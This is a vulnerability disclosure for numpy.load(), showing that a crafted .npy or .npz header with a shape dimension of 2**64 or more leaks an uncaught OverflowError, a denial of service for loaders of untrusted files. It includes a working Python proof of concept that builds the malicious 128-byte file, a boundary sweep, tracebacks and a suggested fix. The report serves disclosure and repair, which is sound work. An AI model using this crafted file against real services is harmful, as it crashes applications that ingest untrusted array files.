np.load() on a .npy/.npz with a header shape dimension ≥ 2**64 raises an uncaught OverflowError — exception-contract DoS
Summary
numpy.load() on a malicious .npy (or .npz member) whose header shape
tuple contains a Python integer too large to fit a C long (≥ 2**64) raises
an OverflowError: Python int too large to convert to C long. This
exception is not part of np.load's documented Raises contract
(OSError, UnpicklingError, ValueError, EOFError) and is not a subclass
of any of them. Any caller written defensively to that contract
(except (OSError, ValueError, EOFError)) fails to catch it and crashes —
a denial-of-service in loaders that ingest untrusted array files.
The bug fires with allow_pickle=False (the default, "safe" mode), before any
allocation branch, so it affects both raw .npy files and .npz archive
members.
- Target:
numpy(numpy/lib/_format_impl.py) - Verified versions: numpy 2.5.1 (venv, Python 3.13.12) and numpy 2.3.5 (system) — both reproduce.
- Attack vector: attacker-controlled
.npy/.npzheader (model file / array file ingestion). - Impact: unhandled-exception denial of service / broken exception contract.
- Preconditions: none beyond the victim calling
np.load()on an attacker-supplied file. Defaultallow_pickle=Falseis sufficient.
Root cause
np.load() -> format.read_array(). The element count is computed directly
from the attacker-controlled header shape tuple:
# numpy/lib/_format_impl.py (read_array, ~line 823-827)
shape, fortran_order, dtype = _read_array_header(
fp, version, max_header_size=max_header_size)
if len(shape) == 0:
count = 1
else:
count = numpy.multiply.reduce(shape, dtype=numpy.int64) # <-- line 827
shape comes straight from the header dict. The header validator only checks
that each element is a Python int — it never bounds the magnitude:
# numpy/lib/_format_impl.py (_read_array_header, ~line 685-689)
# Sanity-check the values.
if (not isinstance(d['shape'], tuple) or
not all(isinstance(x, int) for x in d['shape'])): # <-- magnitude NOT checked
msg = "shape is not valid: {!r}"
raise ValueError(msg.format(d['shape']))
When a shape dimension is a Python int ≥ 2**64, converting the shape tuple
to an int64 array inside numpy.multiply.reduce(..., dtype=numpy.int64)
raises OverflowError — which propagates uncaught out of np.load.
Why this is a genuine contract gap (not just an unavoidable resource error)
numpy handles the adjacent magnitude ranges correctly and in-contract; only
values ≥ 2**64 escape:
| shape value | result | in np.load contract? |
|---|---|---|
2**63 - 1 |
MemoryError (8.00 EiB alloc) |
n/a (resource) |
2**63 |
ValueError: negative dimensions are not allowed |
yes (correct) |
2**63 + 1 |
ValueError: negative dimensions are not allowed |
yes (correct) |
2**64 - 1 |
ValueError: negative dimensions are not allowed |
yes (correct) |
2**64 |
OverflowError: Python int too large to convert to C long |
NO — BUG |
2**64 + 1 |
OverflowError: Python int too large to convert to C long |
NO — BUG |
Values in [2**63, 2**64) wrap to a negative int64 and produce the
in-contract ValueError('negative dimensions are not allowed'). Only values
≥ 2**64 overflow the int64 conversion itself and leak an OverflowError.
This demonstrates a real translation gap in the validation path rather than an
unavoidable out-of-resources condition.
Proof of concept
poc_gen.py builds a 128-byte NPY v1.0 file whose header is
{'descr': '|u1', 'fortran_order': False, 'shape': (18446744073709551616,)}
(18446744073709551616 == 2**64), then calls np.load().
import numpy as np, struct
magic = b'\x93NUMPY\x01\x00'
h = "{'descr': '|u1', 'fortran_order': False, 'shape': (18446744073709551616,), }"
total = len(magic) + 2 + len(h) + 1
pad = (64 - total % 64) % 64
hb = (h + ' ' * pad + '\n').encode('latin1')
with open('poc_overflow.npy', 'wb') as f:
f.write(magic + struct.pack('<H', len(hb)) + hb) # 128 bytes total
np.load('poc_overflow.npy') # allow_pickle=False (default)
# -> OverflowError: Python int too large to convert to C long (uncaught)
The identical header inside a zip member reproduces via np.load(npz)['x']
(.npz path), since .npz members are read through the same read_array.
Captured evidence (verbatim)
Reproduced end-to-end with verify.py (included). The DOC contract used for
the in-contract column is (OSError, ValueError, EOFError, UnpicklingError).
$ ./venv/bin/python verify.py # numpy 2.5.1, py 3.13.12
Traceback (most recent call last):
File ".../verify.py", line 29, in <module>
np.load(fn)
~~~~~~~^^^^
File ".../numpy/lib/_npyio_impl.py", line 483, in load
return format.read_array(fid, allow_pickle=allow_pickle,
pickle_kwargs=pickle_kwargs,
max_header_size=max_header_size)
File ".../numpy/lib/_format_impl.py", line 827, in read_array
count = numpy.multiply.reduce(shape, dtype=numpy.int64)
OverflowError: Python int too large to convert to C long
numpy 2.5.1 py 3.13.12
=== boundary of shape value ===
2**63-1: MemoryError: Unable to allocate 8.00 EiB for an array with shape (92 in-contract=False
2**63: ValueError: negative dimensions are not allowed in-contract=True
2**63+1: ValueError: negative dimensions are not allowed in-contract=True
2**64-1: ValueError: negative dimensions are not allowed in-contract=True
2**64: OverflowError: Python int too large to convert to C long in-contract=False
2**64+1: OverflowError: Python int too large to convert to C long in-contract=False
=== real np.load on-disk .npy (POC) ===
poc file size: 128 bytes
EXC TYPE: builtins.OverflowError in-contract= False
=== negative control ===
ctrl load: [0 1 2 3 4]
ctrl big-but-valid shape: MemoryError Unable to allocate 931. GiB for an array with shap in-contract= False
Negative controls (same harness, adjacent inputs)
shape=(2**63,),(2**63+1,),(2**64-1,)→ValueError: negative dimensions are not allowed— in-contract, correctly translated.- A normal
np.save/np.loadround-trip loads fine ([0 1 2 3 4]). shape=(1e12,)(fits int64) →MemoryError(resource), notOverflowError.
Only shape ≥ 2**64 escapes the documented contract.
Second-version confirmation (system numpy 2.3.5)
numpy 2.3.5
-> OverflowError: Python int too large to convert to C long | in-contract= False
Suggested fix
In _read_array_header, after the isinstance(x, int) check, bound each shape
element to a non-negative value representable as int64 (i.e.
0 <= x < 2**63), raising ValueError on violation — matching the existing
in-contract ValueError('negative dimensions are not allowed') handling.
Alternatively, wrap the numpy.multiply.reduce(..., dtype=numpy.int64) in
read_array and re-raise OverflowError as ValueError.
Dedup / prior-work note
Distinct from other numpy .npy/.npz header issues:
- The historical "big header" complexity issue (huntr) concerns header size, not shape magnitude.
- A separate
_read_array_headerTokenError(malformed header literal) issue is a different exception class from a different parse stage. - A separate
.npzBadZipFilecontract issue concerns the zip container, not the array header.
This report concerns specifically the shape dimension magnitude ≥ 2**64
overflowing the int64 element-count reduction in read_array, leaking an
OverflowError outside np.load's documented Raises set. No CVE is known
for this specific code path at the time of writing.
Files
README.md— this writeuppoc_gen.py— builds the 128-byte malicious.npyverify.py— full harness: POC + boundary sweep + negative controlspoc_overflow.npy— the 128-byte malicious NPY v1.0 file